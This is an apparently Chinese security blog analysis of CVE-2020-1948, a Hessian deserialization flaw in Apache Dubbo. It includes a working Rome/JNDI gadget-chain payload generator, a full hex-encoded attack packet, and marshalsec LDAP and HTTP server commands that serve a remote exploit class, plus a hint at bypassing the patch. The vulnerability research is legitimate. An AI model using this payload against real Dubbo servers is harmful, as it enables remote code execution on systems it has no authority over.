CVE-2020-1948 Apache Dubbo Hessian 反序列化漏洞分析

阅读量    141373 | 评论 3   稿费 400

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 背景

Apache Dubbo 是一款高性能Java RPC框架。漏洞存在于 Apache Dubbo默认使用的反序列化工具 hessian 中,攻击者可能会通过发送恶意 RPC 请求来触发漏洞,这类 RPC 请求中通常会带有无法识别的服务名或方法名,以及一些恶意的参数负载。当恶意参数被反序列化时,达到代码执行的目的。

 

0x1 影响范围

2.7.0 <= Dubbo Version <= 2.7.6
2.6.0 <= Dubbo Version <= 2.6.7
Dubbo 所有 2.5.x 版本(官方团队目前已不支持)

 

0x02 协议介绍

0x1 dubbo

dubbo 支持多种序列化方式并且序列化是和协议相对应的。比如:Dubbo支持dubbo、rmi、hessian、http、webservice、thrift、redis等多种协议。
这里介绍的dubbo漏洞里的dubbo指的是RPC框架。dubbo同时是阿里尚未开发成熟的高效 java 序列化实现,阿里不建议在生产环境使用它。

0x2 Hessian

引用:hessian 是一种跨语言的高效二进制序列化方式。但这里实际不是原生的 hessian2 序列化,而是阿里修改过的 hessian lite,Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。

Hessian [1] 协议用于集成 Hessian 的服务,Hessian 底层采用 Http 通讯,采用 Servlet 暴露服务,Dubbo 缺省内嵌 Jetty 作为服务器实现。

Dubbo 的 Hessian 协议可以和原生 Hessian 服务互操作,即:

  • 提供者用 Dubbo 的 Hessian 协议暴露服务,消费者直接用标准 Hessian 接口调用
  • 或者提供方用标准 Hessian 暴露服务,消费方用 Dubbo 的 Hessian 协议调用。

一个简单的Hessian序列化使用方法

import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayOutputStream;
import java.io.Serializable;
class User implements Serializable {
public static void main(String[]args){
//        System.out.println("hehe");
        }
}
public class HessianTest {
    public static void main(String[] args) throws Exception {
        Object o=new User();
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(o);
        output.close();
        System.out.println(os.toString());
    }
}

0x3 协议关系

介绍到这有的同学可能就迷了,Dubbo和序列化到底是怎么个关系,可以从以下几点考虑:

  1. Dubbo 从大的层面上将是RPC框架,负责封装RPC调用,支持很多RPC协议
  2. RPC协议包括了dubbo、rmi、hession、webservice、http、redis、rest、thrift、memcached、jsonrpc等
  3. Java中的序列化有Java原生序列化、Hessian 序列化、Json序列化、dubbo 序列化

通过上面这个关系图,可以看出我们这里研究的是Dubbo协议Hessian反序列化漏洞。关系理清楚了下面看一看漏洞复现和分析。

 

0x03 环境搭建

0x1 搭建dubbo-spring-boot

利用dubbo Demo进行环境搭建 https://github.com/apache/dubbo-spring-boot-project
注意选择2.7.6 或以下版本,下载过后添加必要的漏洞利用jar包

0x2 添加漏洞利用链

下载 2.7.5 版本,用 IDEA 打开 dubbo-spring-boot-samples 文件夹,在provider-sample文件夹下的 pom 里添加:

        <dependency>
                 <groupId>com.rometools</groupId>
                 <artifactId>rome</artifactId>
                 <version>1.7.0</version>
         </dependency>

 

0x04 漏洞原理与利用

0x1 原理

主要利用Dubbo协议调用其他RPC协议时会涉及到数据的序列化和反序列化操作。如果没有做检查校验很有可能成功反序列化攻击者精心构造的恶意类,利用java调用链使服务端去加载远程的Class文件,通过在Class文件的构造函数或者静态代码块中插入恶意语句从而达到远程代码执行的攻击效果。

0x2 利用链分析

在marshalsec工具中,提供了对于Hessian反序列化可利用的几条链:
https://github.com/mbechler/marshalsec
https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true

  • SpringPartiallyComparableAdvisorHolder
  • SpringAbstractBeanFactoryPointcutAdvisor
  • Rome
  • XBean

我们这次利用Rome构造JNDI注入利用链。关于JNDI在之前调试Fastjson漏洞中有简单说明。
本次主要是利用下面攻击链,攻击链触发过程会在漏洞调试时说明。

- HashMap.put
- HashMap.putVal
- HashMap.hash
- EqualsBean.hashCode
- EqualsBean.beanHashCode
- ToStringBean.toString
- JdbcRowSetImpl.getDatabaseMetaData
- JdbcRowSetImpl.connect
- Context.lookup

分析攻击链构造过程,这里参考了 原作者的利用链 <a href=”https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html””>https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html ,作者以及写的很完整了,我这里搬过来整合了一下。利用了marshalsec jar包,

import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import marshalsec.Hessian;
import marshalsec.gadgets.JDKUtil;
import java.io.ByteArrayOutputStream;

public class GadgetsTestHessian {
    private static Object getPayload() throws Exception {
        String jndiUrl = "ldap://127.0.0.1:8087/Exploit";;//最后触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class,
                JDKUtil.makeJNDIRowSet(jndiUrl));//EqualsBean.beanHashCode调用ToStringBean.toString
        EqualsBean root = new EqualsBean(ToStringBean.class,item);//HashMap.hash调用EqualsBean.beanHashCode
        return JDKUtil.makeMap(root,root);//触发HashMap.put->HashMap.putVal->HashMap.hash
    }

    public static void main(String[] args) throws Exception {
        Object o=getPayload();
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(o);
        output.close();
        System.out.println(os.toString());
    }
}

这个是Hessian 序列化之后的数据,想要利用起来还要封装一层Dubbo协议,我们采用dubbo-spring-boot项目中的DubboAutoConfigurationConsumerBootstrap类进行构造。这里注意一点如果使用Dubbo的消费者和提供者协议Dubbo会自动Hessian序列化传输的对象,所以下面构造Payload只需将利用编写好之后调用Dubbo协议调用即可。

0x3 构造Payload

在DemoService.java中添加commonTest 接口函数

在DubboAutoConfigurationConsumerBootstrap中编写消费者调用函数

在DubboAutoConfigurationProviderBootstrap中编写服务者提供的服务,触发连不在这里所以可以随便写。

在Intellij idea中启动provider服务者,然后运行consumer消费者,利用wireshark获取Apache Dubbo 反序列化payload

dabbc2000000000000000000000003b705322e302e3230366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f5365727669636505312e302e300a636f6d6d6f6e54657374124c6a6176612f6c616e672f4f626a6563743b48433027636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e457175616c734265616e92036f626a096265616e436c61737360433029636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e546f537472696e674265616e92036f626a096265616e436c61737361431d636f6d2e73756e2e726f777365742e4a646263526f77536574496d706cac06706172616d73096c697374656e657273036d61700a6368617253747265616d0b617363696953747265616d0d756e69636f646553747265616d0c62696e61727953747265616d0f7374724d61746368436f6c756d6e730d694d61746368436f6c756d6e73057265734d4406726f77734d4402727302707304636f6e6e09666574636853697a650866657463684469720969736f6c6174696f6e1065736361706550726f63657373696e6708726561644f6e6c790b636f6e63757272656e63790c6d61784669656c6453697a65076d6178526f77730c717565727954696d656f75740b73686f7744656c657465640a726f77536574547970650a64617461536f757263650355524c07636f6d6d616e64624d136a6176612e7574696c2e486173687461626c655a4e4e4e4e4e4e56106a6176612e7574696c2e566563746f729a03666f6f4e4e4e4e4e4e4e4e4e56919a8f8f8f8f8f8f8f8f8f8f4e4e4e4e4e90cbe8925454cbf090909046cbec1d6c6461703a2f2f3132372e302e302e313a383038372f4578706c6f69744e4e430f6a6176612e6c616e672e436c61737391046e616d65631d636f6d2e73756e2e726f777365742e4a646263526f77536574496d706c633029636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e546f537472696e674265616e5191519151915a48047061746830366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f536572766963651272656d6f74652e6170706c69636174696f6e3024647562626f2d6175746f2d636f6e6669677572652d636f6e73756d65722d73616d706c6509696e7465726661636530366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f536572766963650776657273696f6e05312e302e305a

0x4 开启LDAP服务

╰─➤  java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit 8087

Exploit.java 代码在很多github都能获取 https://github.com/ctlyz123/fastjson_vul
然后在Exploit.class 目录中开启HTTPServer

python -m SimpleHTTPServer 8089

0x5 编写python攻击脚本

接下来调试整个漏洞触发链

 

0x05 漏洞调试

触发练如下图所示:

0x1 反序列化入口

进入到Dubbo协议的decode环节,其中inputStream是去掉Dubbo协议头的原始数据

在decode函数中会逐步提取Dubbo 协议Body中的内容

in 现在是Hessian2ObjectInput对象,其中包含了要反序列化的二进制内容

在生成反序列化对象时采用的id号是2,从代码中可以看出是Hessian协议。

0x2 Dubbo Hessian ReadObject函数

这里是Hessian 反序列化触发链,从Hessian2ObjectInput到Hessian2Input对象

0x3 触发readMap函数

在Hessian2Input对象中的readobject方法中调用了readMap函数

注意这里的触发条件是 tag == ‘H’,_buffer是请求的二进制协议数据

0x4 触发HashMap.put函数

此时的map为HashMap对象,目前来看一切都在设计之内

0x5 触发hashkey.hashCode函数

接着调用了HashMap.hash方法

触发 key.hashCode方法,key为EqualsBean对象

0x6 触发EqualsBean.beanHashCode函数

随后出发了toStringBean的Tostring方法

继续跟入,走到了常见的jndi注入利用链

0x7 触发JNDI注入利用链

这里利用了toStringBean的Tostring方法中的反射调用

这之后就是以前经常利用的JNDI利用链了

通过调试可以很清楚查看ldap参数的传递和使用过程

在这之后就是远程类加载和执行了,分析到这应该很清楚payload的调用过程了。

 

0x06 漏洞补丁

从补丁对比上分析,发现在反序列化之前进行了方法Dubbo方法名的判断,具体如下。

简单的判断method是否为$echo 或者 $invoke等,如果方法名称不对的话,在这一步就会死掉,可以尝试下绕过。】
在高版本JDK中默认TRUST_URL_CODE_BASE为False,且有校验,在jdk8u191以后ldap就不能成功了,低版本的JDK还是可以的。

文章中代码整理到了github上

https://github.com/ctlyz123/CVE-2020-1948

 

0x07 参考链接

感谢师傅们的博客,学习到了很多~~

https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html
https://juejin.im/post/5ef2be63f265da02b643218a#heading-6
https://paper.seebug.org/1131/
https://www.anquanke.com/post/id/197658#h3-5

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多